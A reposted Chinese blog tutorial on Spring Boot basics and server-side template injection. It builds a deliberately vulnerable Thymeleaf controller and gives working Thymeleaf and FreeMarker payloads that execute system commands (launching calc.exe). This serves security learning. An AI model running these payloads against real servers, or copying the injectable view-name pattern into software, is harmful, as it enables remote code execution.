当前位置: 首页 > java >正文

SpringBoot入门 springboot模版注入问题

SpringBoot基础使用

前期基础学习一直使用的Servelet,现在用Springboot才发现这个是多么的方便,为什么现在主流的是Springboot

简介:Springboot是支持多拓展服务的一个java框架

框架和组件不同的就是框架是一个系统的,内置有不同的语法 而组件只是系统功能的一种,为了的目的是优化单功能方面的方便和安全性

部署

使用阿里的原因就是官网不支持JDK8 为了方便就换一个支持的

依赖只选择一个 web的

Springboot的强大之处就是他的依赖,比如云储存或者是sql数据库的api连接都是方便

package com.example.springdemo.Controller;import org.springframework.web.bind.annotation.*;@RestController
//表示这个控制页面 会把返回的结果一样输出到客户端  如果只是 Controller 的话就不会把这个类下的 return 数据返回到浏览器
public class IndexCon {// 1、基本的路径控制@RequestMapping("/index")  //访问路径触发函数public String index() {return "Hello";}//GET 模式@RequestMapping(value = "/index", method = RequestMethod.GET)public String index2(@RequestParam String name) {    //設置參數if (name == "xiaodi") {return "Hello2";}else {return " ";}}//快捷模式@GetMapping("/index1")public String index1(@RequestParam String name) {return name;}//post模式@PostMapping("/index2")public String index3(@RequestParam String name) {return name+"xiaodisec";}}

运行  上面写的程序 当我们访问index的时候会输出hello 当传参get = xiaodi 会输出hello2

这个是直接运行的前端页面

模版的导入

什么是ssti?模版注入漏洞,前端的模版如果有个可控的输入,那就会导致用户输入的恶意的语法会被镶嵌到模版中去,从而造成危险

前端的模版是指可以优化前端页面形式使其简洁化并且有规律性

Thtmeleaf模版的利用

部署的时候需要选择这个模版引擎

成功导入之后

库中就会出现

这个模版漏洞注入的场景:用户可以使用参数控制模版呈现的页面方式

这里就会变化

换一个值输入

这种情况就可以使用,但是这个地方肯定是没有的

我们先部署一个类似的页面

根据依赖项设置:建一个tem专属目录  然后创建上页面转换的不同页面

package com.example.thymeleafspringboot.Controller;import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;@Controller   //当有模版载入的时候 就不适合使用  rest前缀  否则会干扰到 前端模版
public class ConIndex {@GetMapping("/index")public String index(@RequestParam String name, Model model,String lang) {//Mode model  就是新建一个前端对象 来实例化前端的数据model.addAttribute("data", name);  //把Data的数据 替换到前端的Datareturn "index"+lang;}
}

运行

功能实现之后就需要进行利用

poc:

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

但是执行之后

我考??什么情况

原因很简单就是这个阿里云网的springboot版本是稳定性很强的 所以执行不了

我们需要切换到

2.2.0.Release 版本就能弹出计算机

Freemarker模版的利用

这个和上个不同的是 没法使用可控变量从后端操作这个前端的模版

只能使用这个 poc 

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

这个标签必须插入到 模版文件的内部,如果是使用参数传入只能被当做内容执行

展示一下:

没有poc 使用参数进行传递

没反应

添加上

如果上面的poc运行不了

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

还有2个poc可使用

那这个模版注入的作用点就是后台进行提权使用的,因为无可控参数的利用

http://www.xdnf.cn/news/14321.html

相关文章:

  • 单例模式的好处
  • 火山引擎解码生态型增长铁律
  • QMI8658A 六轴惯性测量单元的应用介绍
  • Tomcat配置学习
  • 剑指offer26_顺时针打印矩阵
  • Java单例模式的七种实现方式每种方式的应用场景和最佳使用场景分析
  • LeetCode 第75题:颜色分类
  • 设计模式(10)——创建型模式之抽象工厂
  • 机器学习模型评估与选择
  • Python 爬虫入门 Day 4 - 模拟登录爬虫与 Session 维持
  • 【极客时间】大模型RAG进阶实战营毕业总结
  • 通过 O-RAN 传感进行异常识别和防护
  • 打造丝滑滚动体验:Scroll-driven Animations 正式上线!
  • PDF超强无损压缩
  • 记录一次 Oracle DG 异常停库问题解决过程
  • [直播推流] rtmpdump 库学习
  • Jmeter录制APP脚本
  • 【FreeRTOS-队列集】
  • Java的接口
  • SKUA-GOCAD入门教程-第八节 线的创建与编辑4
  • Milvus/ES 插入方案对比
  • K8s 容器化安全产品性能问题排查指南
  • web3方法详解
  • 【Java】网络编程基础与聊天室架构分析
  • HTML 从入门到起飞 · 系列合集:一站式学习不掉线
  • 构建多智能体(AI Agent)的高效协作平台——CrewAI探索
  • 基于CNN深度学习的小程序识别2-视频介绍下自取
  • 超子说物联网-MQTT_笔记1---通过EMQX搭建MQTT服务器
  • springboot项目启动报错:spring boot application in default package
  • React条件渲染之逻辑与和逻辑或详解